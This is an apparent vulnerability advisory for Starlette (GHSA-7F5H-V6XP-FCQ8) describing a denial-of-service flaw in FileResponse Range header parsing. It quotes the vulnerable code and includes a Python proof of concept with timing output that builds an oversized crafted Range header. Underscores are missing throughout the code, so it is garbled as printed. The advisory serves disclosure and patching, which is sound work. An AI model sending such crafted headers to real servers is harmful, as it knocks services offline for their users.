PT-2025-45680 · Pypi · Starlette

Publicado

2025-10-28

·

Atualizado

2025-10-28

CVSS v3.1

7.5

Alta

VetorAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

An unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse).

Details

Starlette parses multi-range requests in FileResponse. parse range header(), then merges ranges using an O(n^2) algorithm.
python
# starlette/responses.py
 RANGE PATTERN = re.compile(r"(d*)-(d*)") # vulnerable to O(n^2) complexity ReDoS

class FileResponse(Response):
  @staticmethod
  def parse range header(http range: str, file size: int) -> list[tuple[int, int]]:
    ranges: list[tuple[int, int]] = []
    try:
      units, range = http range.split("=", 1)
    except ValueError:
      raise MalformedRangeHeader()

    # [...]

    ranges = [
      (
        int( [0]) if [0] else file size - int( [1]),
        int( [1]) + 1 if [0] and [1] and int( [1]) < file size else file size,
      )
      for  in RANGE PATTERN.findall(range ) # vulnerable
      if  != ("", "")
    ]
The parsing loop of FileResponse. parse range header() uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted Range header can maximize its complexity.
The merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.
This affects any Starlette application that uses:
  • starlette.staticfiles.StaticFiles (internally returns FileResponse) — starlette/staticfiles.py:178
  • Direct starlette.responses.FileResponse responses

PoC

python
#!/usr/bin/env python3

import sys
import time

try:
  import starlette
  from starlette.responses import FileResponse
except Exception as e:
  print(f"[ERROR] Failed to import starlette: {e}")
  sys.exit(1)


def build payload(length: int) -> str:
  """Build the Range header value body: '0' * num zeros + '0-'"""
  return ("0" * length) + "a-"


def test(header: str, file size: int) -> float:
  start = time.perf counter()
  try:
    FileResponse. parse range header(header, file size)
  except Exception:
    pass
  end = time.perf counter()
  elapsed = end - start
  return elapsed


def run once(num zeros: int) -> None:
  range body = build payload(num zeros)
  header = "bytes=" + range body
  # Use a sufficiently large file size so upper bounds default to file size
  file size = max(len(range body) + 10, 1 000 000)
  
  print(f"[DEBUG] range body length: {len(range body)} bytes")
  elapsed time = test(header, file size)
  print(f"[DEBUG] elapsed time: {elapsed time:.6f} seconds
")


if  name  == " main ":
  print(f"[INFO] Starlette Version: {starlette. version }")
  for n in [5000, 10000, 20000, 40000]:
    run once(n)

"""
$ python3 poc dos range.py
[INFO] Starlette Version: 0.48.0
[DEBUG] range body length: 5002 bytes
[DEBUG] elapsed time: 0.053932 seconds

[DEBUG] range body length: 10002 bytes
[DEBUG] elapsed time: 0.209770 seconds

[DEBUG] range body length: 20002 bytes
[DEBUG] elapsed time: 0.885296 seconds

[DEBUG] range body length: 40002 bytes
[DEBUG] elapsed time: 3.238832 seconds
"""

Impact

Any Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.

Correção

Resource Exhaustion

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

GHSA-7F5H-V6XP-FCQ8

Produtos afetados

Starlette